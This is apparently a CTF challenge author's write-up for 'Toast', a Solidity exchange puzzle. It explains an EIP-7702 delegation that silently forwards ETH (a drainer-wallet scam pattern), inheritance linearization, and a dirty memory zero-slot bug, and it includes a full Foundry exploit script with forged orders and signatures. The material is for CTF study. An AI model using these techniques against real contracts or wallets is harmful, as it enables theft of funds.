본문 바로가기

Toast

CONTENT

Is it possible to use EIP-7702 for scams on EVM (not Tron), and what happens if the zero slot is dirty

Environment

https://github.com/bean5oup/CTF/tree/main/2025/DeadSec%20CTF/Toast

Uvicorn runs on 8000 by default, so when working on DreamHack, just forward it to 8000. This time DeadSec Infra required 1337, so I used that instead.

docker build --tag toast .
docker run -itd -p 12345:1337 --name toast toast

Solution

First, the mnemonic words are revealed in the description. Yeah, they’re all over the YouTube comments, even here :0. Then, in the Setup contract, the owner transfers their WETH to a specific address derived from those mnemonic words.

I'm to crypto, could you help me with something unrelated? My wallet holds some WETH, and i have 12 words: (test test test test test test test test test test test junk). How can i send them to my exchange.

Here, we can recover the private key for that address:
0xdf57089febbacf7ba0bc227dafbffa9fc08a93fdc68e1e42411a14efcf23656e

A quick glance at the code reveals that we need 400 WETH, so we have to get it. Although we know the private key, the address doesn’t have any ETH to pay for gas fees, so we first need to send some ETH to it. However, even after sending ETH, the balance stays at 0 — exactly as I intended :). Taking a closer look at the logs, we can see that the ETH is actually being sent to a another address:

Due to an out-of-gas (OOG) error, transferring ETH via transfer is not possible, so we need to use a low-level call instead. This also implies that the fallback function performs some action. Although the address is an EOA, it behaves like a contract account (CA). Therefore, we check whether it contains bytecode. This part involves EIP-7702. In the CTF, this section is treated as a black box. I hope you get to experience this kind of confusion :).

The top 3 bytes, 0xef0100, are the magic bytes, and the lower 20 bytes represent the address of the delegated contract.

cast code <WHO> --rpc-url <URL>

Let’s decompile the code at that address using Dedaub EVM Decompiler:

The behavior is simply to forward any incoming ETH to that address. Originally, the challenge was meant to involve Account Abstraction (AA) of ZeroDev’s Kernel, but for simplicity, just named it "Kernel" and implemented it in a very straightforward way. The EOA delegates to this following contract like proxy.

contract Kernel {
    receive() external payable {
        payable(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266).transfer(msg.value);
    }
}

We just need to initialize the delegation. To do so, delegate to the zero address. According to EIP-7702, even if a transaction has no gas fee, another EOA can perform the delegation on your behalf as long as a valid signature is provided.

cast send $(cast az) --private-key <RAW_PRIVATE_KEY> --rpc-url <URL> --auth <ADDRESS>
cast send $(cast az) --private-key <RAW_PRIVATE_KEY> --rpc-url <URL> --auth $(cast wallet sigh-auth <ADDRESS> --private-key <RAW_PRIVATE_KEY> --rpc-url <URL>)

After initializing the delegation, sending ETH increases the balance as expected. This was the intended solution, but most folks solved the challenge using Permit2. That was a smart play — I’m always learning from you :).

Second, in Exchange.sol, we can observe a complex inheritance structure. I was curious about how the EVM handles diamond inheritance and came across this reference. TL;DR: the EVM uses C3 Linearization like Python. Based on that, I created this simplified version that looks like a tiny rev.

Here’s the diagram:

On the left is the direct inheritance diagram, and on the right is the result after applying linearization according to the rules.

Let’s figure out how the results are derived. The rule is as follows:

L[0] = [0]
L[1] = [1] + merge(L[0]) = [1, 0]
L[2] = [2] + merge(L[0]) = [2, 0]
L[3] = [3] + merge(L[1]) = [3, 1, 0]
L[4] = [4] + merge(L[1], L[2]) = [4, 2, 1, 0]

For contract C4 is C1, C2, the order of C1 and C2 affects the linearization. The merge is done in reverse order.

L[5] = [5] + merge(L[2]) = [5, 2, 0]
L[6] = [6] + merge(L[3], L[4]) = [6, 4, 2, 3, 1, 0]
    L[3] = [3, 1, 0]    => [3, 1, 0] => [3, 1, 0] => [1, 0] => []
    L[4] = [4, 2, 1, 0] => [2, 1, 0] => [1, 0]    => [1, 0] => []

According to the merge rules, the head elements [3] and [4] must not appear in the tail of any other list. Since contract C6 is C3, C4, it merges as shown above.

L[7] = [7] + merge(L[4], L[5]) = [7, 5, 4, 2, 1, 0]
L[8] = [8] + merge(L[6]) = [8, 6, 4, 2, 3, 1, 0]
L[9] = [9] + merge(L[6], L[7]) = [9, 7, 5, 4, 2, 3, 1, 0]
L[10] = [10] + merge(L[7]) = [10, 7, 5, 4, 2, 1, 0]
L[11] = [11] + merge(L[8], L[9]) = [11, 9, 7, 5, 8, 6, 4, 2, 3, 1, 0]
L[12] = [12] + merge(L[9], L[10]) = [12, 10, 9, 7, 5, 4, 2, 3, 1, 0]
L[13] = [13] + merge(L[11], L[12]) = [13, 12, 10, 11, 9, 7, 5, 8, 6, 4, 2, 3, 1, 0]

We can also check this using Foundry’s debug and vm.breakpoint cheatcodes.

forge test --mp test/Toast.t.sol --debug
# ['<char>]: goto breakpoint

One thing to be careful about here — something I’ll explain in more detail later — is that in the current code, memory is allocated sequentially from the beginning without considering the memory layout. Because of this, inserting code like console2.log or vm.breakpoint between the assembly blocks that call super.hashOrder() can potentially cause issues. And of course, to use these cheatcodes, simply import the Test contract and inherit it in C0, which serves as the header of the inheritance chain.

Now we have a surface-level understanding of how that inheritance works, so let’s look at the Yul assembly inside it. That just a logic makes a digest for signature verification, EIP-712 — by listing all the properties of the Order object in memory and then running keccak256 on them.

Also, function casting is used here. I’m not sure why it’s necessary yet, but it’s interesting to see that this technique exists.

library util {
    function usingSimpleOrder(function (SimpleOrder calldata) internal returns(bytes32) fnIn) internal pure returns(function (Order calldata) internal returns(bytes32) fnOut) {
        assembly ("memory-safe") {
            fnOut := fnIn
        }
    }
    . . .
}

By the way, I created this challenge based on the Wyvern concept. Actually, I wanted to make a challenge about optimization, but the EVM isn’t as complicated as V8. What I found was just a small bound check optimization — right here. Also, there’s something weird I still don’t fully understand. You may have noticed the Yul assembly block uses the memory-safe dialect. I found this reference. TL;DR: Using the memory-safe dialect tells the compiler to trust that your assembly code is safe, allowing optimizations — but if your code isn’t actually safe, it can cause serious issues.

According to this reference, the memory layout in Solidity is as follows:

0x00 - 0x1f (64 bytes): scratch space for hashing methods
0x20 - 0x3f
0x40 - 0x5f (32 bytes): currently allocated memory size (aka. free memory pointer)
0x60 - 0x7f (32 bytes): zero slot

The zero slot is used as the initial value for dynamic memory arrays and should never be overwritten. What could happen if there is a value in zero slot?

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

import "src/Setup.sol";

contract ToastT is Test {
    function setUp() external {}

    function test() external {
        uint256 dummy1;
        uint256 dummy2;
        uint256 dummy3;
        uint256 dummy4;
        string memory dummy = 'AAAA';
        uint256[] memory test;

        // console2.log('length:', test.length);
        assembly ("memory-safe") {
            mstore(0x60, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
        }   
        // emit log_named_bytes32('length', bytes32(test.length));

        // vm.breakpoint('b');

        // for(uint256 i; i < 10; i++) {
        //     console2.logBytes32(bytes32(test[i]));
        // }

        dummy1 = test[0];
        dummy2 = test[1];
        dummy3 = test[2];
        dummy4 = test[3];

        emit log_bytes32(bytes32(dummy1));
        emit log_bytes32(bytes32(dummy2));
        emit log_bytes32(bytes32(dummy3));
        emit log_bytes32(bytes32(dummy4));
    }
}

As you can see above, even though the array hasn’t been allocated with new yet, the length has changed. If you run this test yourself, you’ll notice that logging to the console writes to memory and causes chaos. That’s why by declaring a dummy variable on the stack and inspecting the memory in a clean state, we can observe the following:

Plus, when writing values like strings to storage not memory, storage operations are very expensive, so if the length is 31 bytes or less, data and length are combined to use space efficiently like the data (< 32 bytes) || length (1 byte)reference.

So, the vulnerability in this challenge is that while performing signature verification, the free memory pointer is properly restored, but the zero slot is not cleared.

contract C13 is C11, C12 {
    . . .
    assembly ("memory-safe") {
        m := mload(0x40) // Retrieve the free memory pointer.
        mstore(offset, typeHash)
        offset := add(offset, 0x20)

        calldatacopy(offset, calldataPointer, 0x20)
        offset := add(offset, 0x20)
        calldataPointer := add(calldataPointer, 0x20)
    }

    super.hashOrder(calldataPointer, offset);

    assembly ("memory-safe") {
        hash := keccak256(0, 0x1e0)
        mstore(0x40, m) // Restore the free memory pointer.
    }
    . . .
}

Of course, there’s a potential issue here. Currently, the code writes directly to memory before allocating other data, so the free memory pointer by default points to 0x80. However, if this occurs in the middle of the execution flow, all data before the free memory pointer should also be restored.

Using this, it’s possible to allocate more than 10 recipients. Since the data is loaded sequentially into memory, the salt value of the Order ends up being stored in the zero slot. In atomicMatch(), the calldata_ is decoded into an address[] type, and the code first checks whether the array length is less than 10. If we declare an address[] array with a length greater than 10, it will skip assigning it to the recipients variable. Skipping this conditional means that, under normal circumstances, recipients.length would have been 0 — but by contaminating the zero slot, that value becomes the length instead. Then, during the call execution, the calldata is copied based on the recipients array length, and the call is performed.

contract Exchange is C13 {
    . . .
    function atomicMatch(Order calldata buy, Order calldata sell) external {
        . . .
        uint256 len;
        bytes memory calldata_ = buy.calldata_;

        assembly ("memory-safe") {
            let ptr := calldata_
            let offset := mload(add(ptr, 0x20))
            len := mload(add(add(ptr, 0x20), offset))
        }

        if(len < 10) 
            recipients = abi.decode(calldata_, (address[]));

        bool success;

        if(sell.howToCall == AuthenticatedProxy.HowToCall.Call) {
            (success, ) = address(sell.target).call(abi.encodeWithSignature('pwn(address[],address,address,uint256)', recipients, buy.maker, sell.maker, sell.basePrice));
        } else if(sell.howToCall == AuthenticatedProxy.HowToCall.Delegate) {
            (success, ) = address(sell.target).delegatecall(abi.encodeWithSignature('pwn(address[],address,address,uint256)', recipients, buy.maker, sell.maker, sell.basePrice));
        }

        require(success);
    }
}

At this point, to place our recipient addresses in memory, we use the calldata_ field of the Order, which is of type bytes. We append the data we want to position in memory right after a normal address[] array named addr.

address[] memory addr = new address[](10);

Order memory buy = Order({
    calldata_: abi.encode(addr, abi.encodePacked(
        hex'0000000000000000',
        vm.addr(userPK),
        hex'000000000000000000000000',
        vm.addr(userPK),
        hex'000000000000000000000000',
        vm.addr(userPK),
        hex'000000000000000000000000',
        vm.addr(userPK),
        hex'000000000000000000000000',
        vm.addr(userPK),
        hex'000000000000000000000000',
        vm.addr(userPK),
        hex'000000000000000000000000',
        vm.addr(userPK),
        hex'000000000000000000000000',
        vm.addr(userPK),
        hex'000000000000000000000000',
        vm.addr(userPK),
        hex'000000000000000000000000',
        vm.addr(userPK),
        hex'00000000'
    )),
});

I just figured it out by looking at the transferFrom logs, but we can also do it this way. The red represents the idx, the green marks the zero slot, and the orange marks the recipients. Keep in mind 4-byte shift due to the function signature, so you just need to align it accordingly, as shown in the second screenshot. Additionally, the blue marks the free memory pointer, and you can see that it roughly starts copying the recipients after that position, using the space as a temporary buffer.

The recipients gets loaded into memory like the following due to the code bytes memory calldata_ = buy.calldata_; in atomicMatch.

Now that I think about it, I thought I could tweak the values in the addr array to make it work, but when decoding the addr[] type, it actually compares the last 20 bytes with the entire 32 bytes to check if they are equal. But since the length is 10 or more, it won’t even try to decode — so yeah, that’s gonna work.

here is the full script of solution:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";

import "src/Setup.sol";

contract Solution is Script {
    Setup setup;
    Exchange exchange;
    WETH weth;
    Toast toast;
    ToastNFT toastNFT;
    address owner;

    uint256 userPK;
    uint256 scamPK;

    uint256 ownerPK;

    function setUp() external {
        userPK = 0x26eb36e8654ba241e9c9caced427318c27aa7e9e763ede82a7e33cfb50406d7f;
        scamPK = 0xdf57089febbacf7ba0bc227dafbffa9fc08a93fdc68e1e42411a14efcf23656e;

        setup = Setup(0x3F933b9d194270a791E0efa39E5C1e12c9F4D57c);
        weth = setup.weth();
        exchange = setup.exchange();
        toast = setup.toast();
        owner = setup.owner();
        toastNFT = setup.toastNFT();
    }

    // forge script script/Solution.s.sol:Solution --rpc-url <URL> -vvvvv --slow --via-ir --broadcast
    function run() external {
        // cast send $(cast az) --private-key <RAW_PRIVATE_KEY> --rpc-url <URL> --auth $(cast wallet sign-auth $(cast az) --private-key <RAW_PRIVATE_KEY> --rpc-url <URL>)
        vm.startBroadcast(userPK);
        (bool success, ) = payable(vm.addr(scamPK)).call{value: 0.1 ether}('');
        require(success);
        vm.stopBroadcast();

        vm.startBroadcast(scamPK);
        weth.transfer(vm.addr(userPK), weth.balanceOf(vm.addr(scamPK)));
        console2.log(weth.balanceOf(vm.addr(userPK)));
        vm.stopBroadcast();

        vm.startBroadcast(userPK);
        weth.approve(address(toast), type(uint256).max);

        Order memory sell = Order({
            exchange: address(exchange),
            maker: owner,
            salt: 0x0,
            taker: address(0),
            side: SaleKindInterface.Side.Sell,
            saleKind: SaleKindInterface.SaleKind.FixedPrice,
            target: address(toast),
            howToCall: AuthenticatedProxy.HowToCall(0),
            calldata_: '',
            staticTarget: address(0),
            paymentToken: address(weth),
            basePrice: 400e18,
            expirationTime: 0,
            feeMethod: FeeMethod(0),
            sig: setup.sellSig()
        });

        address[] memory addr = new address[](10);
        addr[0] = vm.addr(userPK);
        addr[1] = address(vm.addr(userPK));
        addr[2] = address(vm.addr(userPK));
        addr[3] = address(vm.addr(userPK));
        addr[4] = address(vm.addr(userPK));
        addr[5] = address(vm.addr(userPK));
        addr[6] = address(vm.addr(userPK));
        addr[7] = address(vm.addr(userPK));
        addr[8] = address(vm.addr(userPK));
        addr[9] = address(vm.addr(userPK));

        Order memory buy = Order({
            exchange: address(exchange),
            maker: vm.addr(userPK),
            salt: 100,
            taker: address(0),
            side: SaleKindInterface.Side.Buy,
            saleKind: SaleKindInterface.SaleKind.FixedPrice,
            target: address(toast),
            howToCall: AuthenticatedProxy.HowToCall(0),
            calldata_: abi.encode(addr, abi.encodePacked(
                hex'0000000000000000',
                vm.addr(userPK),
                hex'000000000000000000000000',
                vm.addr(userPK),
                hex'000000000000000000000000',
                vm.addr(userPK),
                hex'000000000000000000000000',
                vm.addr(userPK),
                hex'000000000000000000000000',
                vm.addr(userPK),
                hex'000000000000000000000000',
                vm.addr(userPK),
                hex'000000000000000000000000',
                vm.addr(userPK),
                hex'000000000000000000000000',
                vm.addr(userPK),
                hex'000000000000000000000000',
                vm.addr(userPK),
                hex'000000000000000000000000',
                vm.addr(userPK),
                hex'00000000'
            )),
            staticTarget: address(0),
            paymentToken: address(weth),
            basePrice: 400e18,
            expirationTime: 0,
            feeMethod: FeeMethod(0),
            sig: ''
        });

        bytes32 hash = hashOrder(buy);

        bytes32 DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
        bytes32 domainHash = keccak256(abi.encode(
            DOMAIN_TYPEHASH,
            keccak256("Toast"),
            keccak256("0"),
            block.chainid,
            address(exchange)
        ));

        bytes32 digest = keccak256(
            abi.encodePacked(
                hex'1901',
                domainHash,
                hash
            )
        );

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(userPK, digest);
        buy.sig = abi.encodePacked(r, s, v);

        exchange.atomicMatch(buy, sell);

        console2.log(toastNFT.balanceOf(address(0xd578389f9C7dE8C4466d8a33C0cf7F70b64Cf35E), 1337));

        console2.log(setup.isSolved());
        setup.solve();
        console2.log(setup.isSolved());

        vm.stopBroadcast();
    }

    function hashOrder(Order memory order) internal pure returns (bytes32 hash) {
        bytes32 ORDER_TYPEHASH = 0xca2b31eece9789f8640037795ba5e3065ba8d82ef095c0f8c0f4310a0d1f96ea;
        bytes memory part1;
        bytes memory part2;
        {
            part1 = abi.encode(
                ORDER_TYPEHASH,
                order.exchange,
                order.maker,
                order.salt,
                order.taker,
                order.side,
                order.saleKind
            );
        }
        {
            part2 = abi.encode(
                order.target,
                order.howToCall,
                keccak256(order.calldata_),
                order.staticTarget,
                order.paymentToken,
                order.basePrice,
                order.expirationTime,
                order.feeMethod
            );
        }
        return keccak256(abi.encodePacked(part1, part2));
    }
}

Interestingly, the solvers ended up solving it in an unintended way by using a delegatecall. Adding the delegatecall was actually unnecessary, but since having an enum with only one option felt pointless, I just included it. Why did I add delegatecall instead of staticcall? Damn

The unintended way was to create an arbitrary buy-sell pair and make a target contract that calls the pwn() function of the Toast contract inside after setting the recipients parameter. This way, the onlyExchange modifier in the Toast contract is bypassed.

I wanted to add a check to ensure the length is less than 10 in Toast contract, but since calling via a low-level call changes memory context, I had no choice.

Reference

https://eips.ethereum.org/EIPS/eip-712

https://eips.ethereum.org/EIPS/eip-1155

https://eips.ethereum.org/EIPS/eip-7702

https://forum.openzeppelin.com/t/solidity-diamond-inheritance/2694

https://github.com/ethereum/solidity/blob/develop/docs/assembly.rst#advanced-safe-use-of-memory

https://iancoleman.io/bip39/

https://docs.soliditylang.org/en/latest/internals/optimizer.html

https://forum.soliditylang.org/t/understanding-the-memory-safe-dialect/1481